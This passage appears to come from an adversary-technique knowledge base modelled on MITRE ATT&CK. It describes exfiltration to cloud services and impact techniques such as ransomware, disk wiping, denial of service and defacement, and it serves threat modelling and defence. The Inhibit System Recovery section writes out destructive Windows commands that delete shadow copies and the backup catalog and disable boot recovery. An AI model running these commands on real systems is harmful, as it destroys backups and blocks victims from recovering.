.002 - Exfiltration to Cloud Storage
Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.

Examples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service.

T1029 - Scheduled Transfer

Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.

When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel or Exfiltration Over Alternative Protocol.

T1537 - Transfer Data to Cloud Account

Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.

A defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over C&C channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.

Incidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.

Impact

The adversary is trying to manipulate, interrupt, or destroy your systems and data.

Impact consists of techniques that adversaries use to disrupt availability or compromise integrity by manipulating business and operational processes. Techniques used for impact can include destroying or tampering with data. In some cases, business processes can look fine, but may have been altered to benefit the adversaries' goals. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach.

Techniques

Techniques represent 'how' an adversary achieves a tactical goal by performing an action. For example, an adversary may dump credentials to achieve credential access.

T1531 - Account Access Removal

Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a System Shutdown/Reboot to set malicious changes into place.

In Windows, Net utility, `Set-LocalUser` and `Set-ADAccountPassword` PowerShell cmdlets may be used by adversaries to modify user accounts. In Linux, the `passwd` utility may be used to change passwords. Accounts could also be disabled by Group Policy.

Adversaries who use ransomware may first perform this and other Impact behaviors, such as Data Destruction and Defacement, before completing the Data Encrypted for Impact objective.

T1485 - Data Destruction

Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives. Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from Disk Content Wipe and Disk Structure Wipe because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.

Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable. In some cases politically oriented image files have been used to overwrite data.

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.

In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.

T1486 - Data Encrypted for Impact

Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.

In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as File and Directory Permissions Modification or System Shutdown/Reboot, in order to unlock and/or gain access to manipulate these files. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.

To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares. Encryption malware may also leverage Internal Defacement, such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as "print bombing").

In cloud environments, storage objects within compromised accounts may also be encrypted.

T1565 - Data Manipulation

Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.

The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

.001 - Stored Data Manipulation

Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

.002 - Transmitted Data Manipulation

Adversaries may alter data in route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data. By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

.003 - Runtime Data Manipulation

Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data. By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct Change Default File Association and Masquerading to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

T1491 – Defacement

Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for Defacement include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages.

.001 - Internal Defacement

An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper. Disturbing or offensive images may be used as a part of Internal Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.

.002 - External Defacement

An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. External Defacement may ultimately cause users to distrust the systems and to question/discredit the system’s integrity. Externally facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda. External Defacement may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as Drive-by Compromise.

T1561 - Disk Wipe

Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.

.001 - Disk Content Wipe

Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.

Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface. Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data. Adversaries have been observed leveraging third-party drivers like RawDisk to directly access disk content. This behavior is distinct from Data Destruction because sections of the disk are erased instead of individual files.

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.

.002 - Disk Structure Wipe

Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.

Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table. The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. Disk Structure Wipe may be performed in isolation, or along with Disk Content Wipe if all sectors of a disk are wiped.

To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.

T1499 - Endpoint Denial of Service

Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes and to support other malicious activities, including distraction, hacktivism, and extortion.

An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.

Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.

In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.

For attacks attempting to saturate the providing network, see Network Denial of Service.

.001 - OS Exhaustion Flood

Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.

Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods. With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.

ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.

.002 - Service Exhaustion Flood

Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well. Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.

One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.

Another variation, known as an SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes an SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.

.003 - Application Exhaustion Flood
Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.

.004 - Application or System Exploitation
Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.

Adversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as Data Destruction, Firmware Corruption, Service Stop etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems.

T1495 - Firmware Corruption
Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system. Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices may include the motherboard, hard drive, or video cards.

In general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. For example, corruption of firmware responsible for loading the operating system for network devices may render the network devices inoperable. Depending on the device, this attack may also result in Data Destruction.

T1490 - Inhibit System Recovery
Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery. This may deny access to available backups and recovery options.

Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of Data Destruction and Data Encrypted for Impact.

A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:

- `vssadmin.exe` can be used to delete all volume shadow copies on a system - `vssadmin.exe delete shadows /all /quiet`
- Windows Management Instrumentation can be used to delete volume shadow copies - `wmic shadowcopy delete`
- `wbadmin.exe` can be used to delete the Windows Backup Catalog - `wbadmin.exe delete catalog -quiet`
- `bcdedit.exe` can be used to disable automatic Windows recovery features by modifying boot configuration data - `bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no`

T1498 - Network Denial of Service
Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes and to support other malicious activities, including distraction, hacktivism, and extortion.

A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.

Adversaries may use the original IP address of an attacking system or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

For DoS attacks targeting the hosting system directly, see Endpoint Denial of Service.

.001 - Direct Network Flood
Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. Direct Network Floods are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.

Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.

.002 - Reflection Amplification

Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Like Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target. This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.

Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS and NTP, though the use of several others in the wild have been documented. In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.

T1496 - Resource Hijacking

Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems, which may impact system and/or hosted service availability.

One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive. Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining. Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.

Additionally, some cryptocurrency mining malwares identify then kill off processes for competing malware to ensure it’s not competing for resources.

Adversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate Network Denial of Service campaigns and/or to seed malicious torrents.

T1489 - Service Stop

Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.

Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible. In some cases, adversaries may stop or disable many or all services to render systems unusable. Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange and SQL Server.

T1529 - System Shutdown/Reboot

Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload`). Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.

Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as Disk Structure Wipe or Inhibit System Recovery, to hasten the intended effects on system availability.